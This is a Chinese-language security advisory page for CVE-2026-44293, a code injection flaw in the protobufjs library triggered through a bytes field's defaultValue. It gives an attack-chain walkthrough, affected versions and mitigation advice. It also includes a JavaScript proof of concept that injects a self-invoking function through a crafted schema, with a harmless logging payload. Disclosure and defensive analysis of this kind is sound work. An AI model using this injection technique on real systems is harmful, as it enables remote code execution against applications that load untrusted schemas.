IPBUF安全漏洞报告
English
CVE-2026-44293 CVSS 8.8 高危

CVE-2026-44293 protobufjs 代码注入漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44293
漏洞类型
代码注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
protobufjs

相关标签

代码注入RCEprotobufjsCVE-2026-44293高危漏洞

漏洞概述

protobufjs是一个将Protocol Buffers定义编译为JavaScript代码的流行库。在7.5.6和8.0.2版本之前,该库在生成用于toObject转换的JavaScript函数时存在安全缺陷。具体来说,生成的代码可能包含源自模式控制的bytes字段默认值的不安全表达式。攻击者可以通过构造一个特制的描述符,将bytes字段的默认值设置为非字符串类型(如恶意代码片段),从而导致攻击者控制的代码被注入到生成的转换函数中。这可能导致远程代码执行,严重影响系统安全。该漏洞已在后续版本中得到修复。

技术细节

该漏洞的根源在于protobufjs的代码生成器未能正确处理bytes字段的默认值。当protobufjs处理包含bytes字段的模式定义并生成对应的toObject转换函数时,它会将字段的默认值嵌入到生成的JavaScript代码中。在受影响的版本中,代码生成过程缺乏对默认值类型的严格校验和转义。如果攻击者提供一个恶意的protobuf定义(JSON或.proto格式),其中bytes字段的defaultValue被设置为一个包含JavaScript语法的字符串或对象,编译器会直接将其拼接进函数体。例如,将defaultValue设置为`process.exit(1)`或任意函数调用。当应用程序调用生成的toObject方法处理数据时,这段注入的恶意代码就会在当前的JavaScript运行时环境中被执行,从而实现远程代码执行(RCE)。由于protobufjs常用于解析外部配置或数据接口,此漏洞具有极高的利用价值。

攻击链分析

STEP 1
侦察
攻击者识别出目标应用程序使用了protobufjs库来处理protobuf数据或定义,且版本低于7.5.6或8.0.2。
STEP 2
武器化
攻击者构造一个恶意的protobuf定义(JSON格式),特意在bytes字段的defaultValue属性中嵌入恶意的JavaScript代码片段。
STEP 3
投递
攻击者将包含恶意构造的protobuf定义文件发送给目标应用程序,例如通过上传接口、API请求或配置更新。
STEP 4
利用
目标应用程序使用protobufjs加载该恶意定义。protobufjs在尝试生成toObject转换函数时,将未经过滤的默认值拼接到生成的JavaScript代码中。
STEP 5
执行
当应用程序调用生成的转换函数时,注入的恶意JavaScript代码在服务器端上下文中被执行,导致攻击者获得系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-44293: protobufjs Code Injection // This PoC demonstrates how a non-string default value in a bytes field // can lead to arbitrary code execution during the toObject generation. const protobuf = require("protobufjs"); // 1. Define a malicious schema with a bytes field // The 'defaultValue' contains a JavaScript expression instead of a valid bytes string. const maliciousJson = { nested: { VulnerableMessage: { fields: { maliciousField: { type: "bytes", id: 1, // Injection payload: This will be evaluated as JS code // Example: trying to execute a function or accessing global objects defaultValue: '(function(){console.log("[+] CVE-2026-44293 Exploited: Code Execution!");})()' } } } } }; // 2. Load the schema console.log("[*] Loading malicious schema..."); const root = protobuf.Root.fromJSON(maliciousJson); const MessageType = root.lookupType("VulnerableMessage"); // 3. Trigger the vulnerability // The code is generated and executed when toObject is called or the type is initialized. console.log("[*] Triggering code generation via toObject..."); try { // Create an empty message instance const message = MessageType.create({}); // Convert to object. In vulnerable versions, this triggers the evaluation of the default value. const obj = MessageType.toObject(message); console.log("[-] Exploit failed. Code did not execute."); } catch (e) { console.log("[-] Exploit failed with error:", e.message); }

影响范围

protobufjs < 7.5.6
protobufjs >= 8.0.0, < 8.0.2

防御指南

临时缓解措施
如果无法立即升级,建议严格限制应用程序加载protobuf定义的来源。仅允许受信任的内部定义文件,并禁止动态解析用户提供的schema。可以在代码层面对protobufjs的输入进行预处理,过滤掉bytes字段中非字符串或非Base64格式的默认值。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表